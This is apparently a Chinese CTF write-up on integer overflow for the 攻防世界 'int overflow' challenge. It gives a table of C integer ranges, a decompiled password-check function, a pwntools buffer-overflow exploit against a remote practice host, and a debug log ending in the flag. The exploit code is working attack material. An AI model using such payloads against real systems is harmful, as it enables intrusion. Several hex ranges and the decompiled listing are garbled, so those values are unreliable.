整数溢出

原理

参考内容: https://ctf-wiki.org/pwn/linux/integeroverflow/intof/

在 C 语言中,整数的基本数据类型分为短整型 (short),整型 (int),长整型 (long),这三个数据类型还分为有符号和无符号,每种数据类型都有各自的大小范围,(因为数据类型的大小范围是编译器决定的,所以之后所述都默认是 64 位下使用 gcc-5.4),如下所示:

	А	В	С
1	类型	字节	范围
2	short int	2byte(word)	0~32767(0~0x7fff) -32768~-1(0x8000~0xffff)
3	unsigned short int	2byte(word)	0~65535(0~0xffff)
4	int	4byte(dword)	0~2147483647(0~0x7fffffff) -2147483648~-1(0x80000000~0xfffffffff)
5	unsigned int	4byte(dword)	0~4294967295(0~0xffffffff)
6	long int	8byte(qword)	正: 0~0x7ffffffffffff 负: 0x8000000000000000~0xfffffffffffff
7	unsigned long int	8byte(qword)	0~0xfffffffffff

当程序中的数据超过其数据类型的范围,则会造成溢出,整数类型的溢出被称为整数溢出。

题目

攻防世界 int overflow

可以利用strcpy(&dest,s)栈溢出

v3变量占用一个字节,数值范围在0~255,在这里输入长度259~263的字符串即可造成整数溢出,满足4≤v3≤8,从而控制程序流程。

```
1 char *_cdecl check_passwd(char *s)
   2 {
     char *result; // eax
   3
      char dest; // [esp+4h] [ebp-14h]
   4
      unsigned __int8 v3; // [esp+Fh] [ebp-9h]
     v3 = strlen(s);
      if ( v3 \le 3u \mid | v3 > 8u )
10
        puts("Invalid Password");
       result = (char *)fflush(stdout);
11
      }
  12
  13
      else
  14
      {
15
       puts("Success");
       fflush(stdout);
16
        result = strcpy(&dest, s);
17
  18
9
      return result;
  20 }
```

Python

```
1 from pwn import *
2 context.log_level='debug'
3 p = remote('111.200.241.243',63687)
4 #p = process('./pwn')
5 p.sendlineafter('choice:','1')
6 p.sendlineafter('username:','A')
7 flag_addr = 0x08048694
8 payload = 'A'*0x14 + 'A'*0x04 + p32(flag_addr) + 'A'*231
9 p.sendlineafter('passwd:',payload)
10 p.interactive()
```

```
root@ams:/home/ams/ws/p3# python exp.py
[+] Opening connection to 111.200.241.243 on port 63687: Done
[DEBUG] Received 0x15 bytes:
   '-' * 0x15
[DEBUG] Received 0x65 bytes:
   '\n'
   '~~ Welcome to CTF! ~~\n'
          1.Login
                      \n'
          2.Exit
                      \n'
                      -\n'
   'Your choice:'
[DEBUG] Sent 0x2 bytes:
   '1\n'
[DEBUG] Received 0x1b bytes:
   'Please input your username:'
[DEBUG] Sent 0x2 bytes:
   'A\n'
[DEBUG] Received 0x1 bytes:
   '\n'
[DEBUG] Received 0x23 bytes:
   'Hello A\n'
   '\n'
   'Please input your passwd:\n'
[DEBUG] Sent 0x104 bytes:
   AAAA AAAA AAAA
                                              41 41 41 41
   00000010 41 41 41 41 41 41 41 41 94 86 84 88
                                                          AAAA AAAA
                                                                        AAAA
   AAAA AAAA AAAA
                                                          AAA
   00000100 41 41 41 03
   00000104
[*] Switching to interactive mode
[DEBUG] Received 0x7 bytes:
   'Success'
Success[DEBUG] Received 0x2e bytes:
   cyberpeace{4dc5b5d06bd7eee63639b1739b415949}\n'
cyberpeace{4dc5b5d06bd7eee63639b1739b415949}
[*] Got EOF while reading in interactive
```